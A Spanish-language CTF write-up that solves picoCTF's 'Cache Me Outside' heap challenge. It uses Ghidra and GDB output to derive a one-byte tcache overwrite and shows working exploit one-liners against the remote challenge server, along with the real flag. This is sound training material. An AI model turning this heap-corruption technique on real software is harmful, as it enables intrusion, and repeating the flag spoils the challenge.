Cache Me Outside
10 minutos de lectura
Se nos proporciona un binario de 64 bits llamado heapedit
y un archivo libc.so.6
como librería externa:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
Si ejecutamos el binario obtendremos una violación de segmento (segmentation fault):
$ chmod +x heapedit
$ ./heapedit
zsh: segmentation fault (core dumped) ./heapedit
Está configurado para utilizar Glibc desde el directorio actual:
$ ldd heapedit
linux-vdso.so.1 (0x00007ffe8397e000)
libc.so.6 => ./libc.so.6 (0x00007f9f134b0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9f138a3000)
Usaremos pwninit
para parchear el binario y hacer que funcione:
$ pwninit --libc libc.so.6 --no-template --bin heapedit
bin: heapedit
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb
setting ./ld-2.27.so executable
copying heapedit to heapedit_patched
running patchelf on heapedit_patched
Y aún no funciona:
$ ./heapedit_patched
zsh: segmentation fault (core dumped) ./heapedit_patched
Vamos a utilizar ltrace
para ver algunas llamadas a la librería:
$ ltrace ./heapedit_patched
setbuf(0x7fe7fa3ac760, 0) = <void>
fopen("flag.txt", "r") = 0
fgets( <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Y aquí está el problema, tenemos que crear una flag de pruebas para ejecutarlo correctamente:
$ echo 'picoCTF{test_flag}' > flag.txt
$ ./heapedit_patched
You may edit one byte in the program.
Address: 1
Value: 2
t help you: this is a random string.
Parece que el programa nos da una primitiva de “write-what-where” para un byte. Vamos a usar Ghidra para descompilar el binario y ver su código en C:
int main() {
long in_FS_OFFSET;
char value;
int address;
int i;
void *p_first_malloc;
void *first_malloc;
FILE *flag_file;
void *second_malloc;
void *last_malloc;
undefined8 random_string;
undefined8 local_70;
undefined8 local_68;
undefined local_60;
char flag[72];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setbuf(stdout, (char *) 0x0);
flag_file = fopen("flag.txt", "r");
fgets(flag, 0x40, flag_file);
/* this is */
random_string = 0x2073692073696874;
/* a random */
local_70 = 0x6d6f646e61722061;
/* string. */
local_68 = 0x2e676e6972747320;
local_60 = 0;
p_first_malloc = (void *) 0x0;
for (i = 0; i < 7; i++) {
first_malloc = malloc(0x80);
if (p_first_malloc == (void *) 0x0) {
p_first_malloc = first_malloc;
}
/* Congrats */
*(undefined8 *) first_malloc = 0x73746172676e6f43;
/* ! Your f */
*(undefined8 *) ((long) first_malloc + 8) = 0x662072756f592021;
/* lag is: */
*(undefined8 *) ((long) first_malloc + 0x10) = 0x203a73692067616c;
*(undefined *) ((long) first_malloc + 0x18) = 0;
strcat((char *) first_malloc,flag);
}
second_malloc = malloc(0x80);
/* Sorry! T */
*(undefined8 *) second_malloc = 0x5420217972726f53;
/* his won' */
*(undefined8 *) ((long) second_malloc + 8) = 0x276e6f7720736968;
/* t help y */
*(undefined8 *) ((long) second_malloc + 0x10) = 0x7920706c65682074;
/* ou: */
*(undefined4 *) ((long) second_malloc + 0x18) = 0x203a756f;
*(undefined *) ((long) second_malloc + 0x1c) = 0;
strcat((char *) second_malloc, (char *) &random_string);
free(first_malloc);
free(second_malloc);
address = 0;
value = '\0';
puts("You may edit one byte in the program.");
printf("Address: ");
__isoc99_scanf("%d", &address);
printf("Value: ");
__isoc99_scanf(" %c", &value);
*(char *) ((long) address + (long) p_first_malloc) = value;
last_malloc = malloc(0x80);
puts((char *) ((long) last_malloc + 0x10));
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Está utilizando malloc
para almacenar dos cadenas de caracteres en el heap. La flag corresponde al primer malloc
, el segundo malloc
se utiliza para un mensaje cualquiera (es decir, “Sorry! This won’t help you: this is a random string.”).
El binario también libera los chunks usando free
. Y finalmente, llama otra vez a malloc
, de manera que el último chunk que fue liberado será asignado, y después imprime la cadena de caracteres contenida.
Aquí el orden importa, ya que el último chunk liberado es el que contiene la cadena de caracteres cualquiera.
El programa nos da la oportunidad de modificar un único byte en una dirección dada, vamos a ver qué podemos hacer.
Usaremos GDB para depurar el programa poniendo un breakpoint en puts
:
$ gdb -q heapedit_patched
Reading symbols from heapedit_patched...
(No debugging symbols found in heapedit_patched)
gef➤ break puts
Breakpoint 1 at 0x400690
gef➤ run
Starting program: ./heapedit_patched
Breakpoint 1, _IO_puts (str=0x400b18 "You may edit one byte in the program.") at ioputs.c:33
gef➤ heap chunks
Chunk(addr=0x602010, size=0x250, flags=PREV_INUSE)
[0x0000000000602010 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602260, size=0x230, flags=PREV_INUSE)
[0x0000000000602260 88 24 ad fb 00 00 00 00 a3 24 60 00 00 00 00 00 .$.......$`.....]
Chunk(addr=0x602490, size=0x1010, flags=PREV_INUSE)
[0x0000000000602490 70 69 63 6f 43 54 46 7b 74 65 73 74 5f 66 6c 61 picoCTF{test_fla]
Chunk(addr=0x6034a0, size=0x90, flags=PREV_INUSE)
[0x00000000006034a0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603530, size=0x90, flags=PREV_INUSE)
[0x0000000000603530 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6035c0, size=0x90, flags=PREV_INUSE)
[0x00000000006035c0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603650, size=0x90, flags=PREV_INUSE)
[0x0000000000603650 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6036e0, size=0x90, flags=PREV_INUSE)
[0x00000000006036e0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603770, size=0x90, flags=PREV_INUSE)
[0x0000000000603770 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603800, size=0x90, flags=PREV_INUSE)
[0x0000000000603800 00 00 00 00 00 00 00 00 21 20 59 6f 75 72 20 66 ........! Your f]
Chunk(addr=0x603890, size=0x90, flags=PREV_INUSE)
[0x0000000000603890 00 38 60 00 00 00 00 00 68 69 73 20 77 6f 6e 27 .8`.....his won']
Chunk(addr=0x603920, size=0x1f6f0, flags=PREV_INUSE) ← top chunk
Aquí vemos un montón de cosas. Primero, hay 2 chunks en el Tcache (que está representado por el o2
en el primer chunk de la salida). El Tcache es una lista enlazada de chunks liberados. Es utilizado por malloc
para alocar chunks más rápidamente porque mirará si hay chunks en el Tcache antes de solicitar memoria al kernel.
La dirección del siguiente chunk que será asignado (la cabecera de la lista enlazada) es 0x603890
:
gef➤ x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0200000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000603890
0x602090: 0x0000000000000000 0x0000000000000000
La salida anterior es el comienzo del espacio del heap. Este chunk es especial porque almacena la información que usa malloc
para asignar chunks.
Veamos qué hay en la cabecera del Tcache (realmente, 0x10
antes para ver los metadatos del chunk). Se trata de un chunk de 0x90
bytes (el 1
de 0x91
significa que el chunk anterior está en uso). Este contiene la cadena de caracteres cualquiera:
gef➤ x/20gx 0x603880
0x603880: 0x0000000000000000 0x0000000000000091
0x603890: 0x0000000000603800 0x276e6f7720736968
0x6038a0: 0x7920706c65682074 0x73696874203a756f
0x6038b0: 0x6172206120736920 0x727473206d6f646e
0x6038c0: 0x000000002e676e69 0x0000000000000000
0x6038d0: 0x0000000000000000 0x0000000000000000
0x6038e0: 0x0000000000000000 0x0000000000000000
0x6038f0: 0x0000000000000000 0x0000000000000000
0x603900: 0x0000000000000000 0x0000000000000000
0x603910: 0x0000000000000000 0x000000000001f6f1
0x603920: 0x0000000000000000 0x0000000000000000
gef➤ x/s 0x603898
0x603898: "his won't help you: this is a random string."
Vamos a continuar escribiendo un 0
en la dirección 0
y a ver qué pasa:
gef➤ continue
Continuing.
You may edit one byte in the program.
Address: 0
Value: 0
Breakpoint 1, _IO_puts (str=0x6038a0 "t help you: this is a random string.") at ioputs.c:33
gef➤ heap chunks
Chunk(addr=0x602010, size=0x250, flags=PREV_INUSE)
[0x0000000000602010 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602260, size=0x230, flags=PREV_INUSE)
[0x0000000000602260 88 24 ad fb 00 00 00 00 a3 24 60 00 00 00 00 00 .$.......$`.....]
Chunk(addr=0x602490, size=0x1010, flags=PREV_INUSE)
[0x0000000000602490 70 69 63 6f 43 54 46 7b 74 65 73 74 5f 66 6c 61 picoCTF{test_fla]
Chunk(addr=0x6034a0, size=0x90, flags=PREV_INUSE)
[0x00000000006034a0 30 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 0ongrats! Your f]
Chunk(addr=0x603530, size=0x90, flags=PREV_INUSE)
[0x0000000000603530 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6035c0, size=0x90, flags=PREV_INUSE)
[0x00000000006035c0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603650, size=0x90, flags=PREV_INUSE)
[0x0000000000603650 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6036e0, size=0x90, flags=PREV_INUSE)
[0x00000000006036e0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603770, size=0x90, flags=PREV_INUSE)
[0x0000000000603770 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603800, size=0x90, flags=PREV_INUSE)
[0x0000000000603800 00 00 00 00 00 00 00 00 21 20 59 6f 75 72 20 66 ........! Your f]
Chunk(addr=0x603890, size=0x90, flags=PREV_INUSE)
[0x0000000000603890 00 38 60 00 00 00 00 00 68 69 73 20 77 6f 6e 27 .8`.....his won']
Chunk(addr=0x603920, size=0x410, flags=PREV_INUSE)
[0x0000000000603920 30 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0...............]
Chunk(addr=0x603d30, size=0x1f2e0, flags=PREV_INUSE) ← top chunk
¿Puedes ver la diferencia? Hay un 0ongrats!
en lugar de Congrats!
. Por tanto, la dirección donde estamos escribiendo es realmente un offset, y la dirección base es 0x6034a0
:
gef➤ grep 0ongrats
[+] Searching '0ongrats' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
0x6034a0 - 0x6034cc → "0ongrats! Your flag is: picoCTF{test_flag}\n"
Además, puts
está utilizando la cadena de caracteres en 0x6038a0
, que es 0x603890 + 0x10
, el código realiza esta operación:
last_malloc = malloc(0x80);
puts((char *) ((long) last_malloc + 0x10));
Vamos a modificar 0x603890
en el Tcache para poner 0x603490
por ejemplo. Esto es, pondremos 0x34
como byte a escribir (que es 4
en ASCII).
Ahora tenemos que obtener la dirección donde está 0x603890
en el heap. Recordemos esta salida:
gef➤ x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0200000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000603890
0x602090: 0x0000000000000000 0x0000000000000000
La dirección exacta del byte 0x38
es 0x602089
. Vamos a verificarlo:
gef➤ x/c 0x602089
0x602089: 0x38
Perfecto, entonces el offset que necesitamos es 0x602089 - 0x6034a0 = -5143
. Vamos a probar:
$ gdb -q heapedit_patched
Reading symbols from heapedit_patched...
(No debugging symbols found in heapedit_patched)
gef➤ run
Starting program: ./heapedit_patched
You may edit one byte in the program.
Address: -5143
Value: 4
Congrats! Your flag is: picoCTF{test_flag}
[Inferior 1 (process 295925) exited normally]
Funciona en GDB, pero no fuera:
$ ./heapedit_patched
You may edit one byte in the program.
Address: -5143
Value: 4
zsh: segmentation fault (core dumped) ./heapedit_patched
Después de algún tiempo, me di cuenta de qué estaba pasando. El tema es que las direcciones del heap sufren ASLR, por lo que todas las direcciones son aleatorias a excepción de los últimos tres dígitos en hexadecimal (como ocurre con Glibc o los binarios con PIE). Como estamos modificando el tercer dígito y el cuarto dígito de una dirección, y eso no funcionará siempre.
Una manera de solucionarlo es ejecutarlo varias veces:
$ while true; do echo '-5143\n4' | ./heapedit_patched; done | grep picoCTF
Address: Value: Congrats! Your flag is: picoCTF{test_flag}
Y esto también funciona en la instancia remota:
$ while true; do echo '-5143\n4' | nc mercury.picoctf.net 8054; done | grep picoCTF
Address: Value: Congrats! Your flag is: picoCTF{5c9838eff837a883a30c38001280f07d}
Existe una solución más elegante, que es modificar el primer dígito y el segundo dígito (que no cambiarán con ASLR). Por ejemplo, podemos modificar 0x603890
para que sea 0x603800
(que es la dirección del chunk anterior) en el ejemplo de arriba. También tenemos que restar 1 al offset (es decir -5144
).
Y esto funciona siempre tanto en local como en remoto:
$ echo '-5144\n\0' | ./heapedit_patched
You may edit one byte in the program.
Address: Value: lag is: picoCTF{test_flag}
$ echo '-5144\n\0' | nc mercury.picoctf.net 8054
You may edit one byte in the program.
Address: Value: lag is: picoCTF{5c9838eff837a883a30c38001280f07d}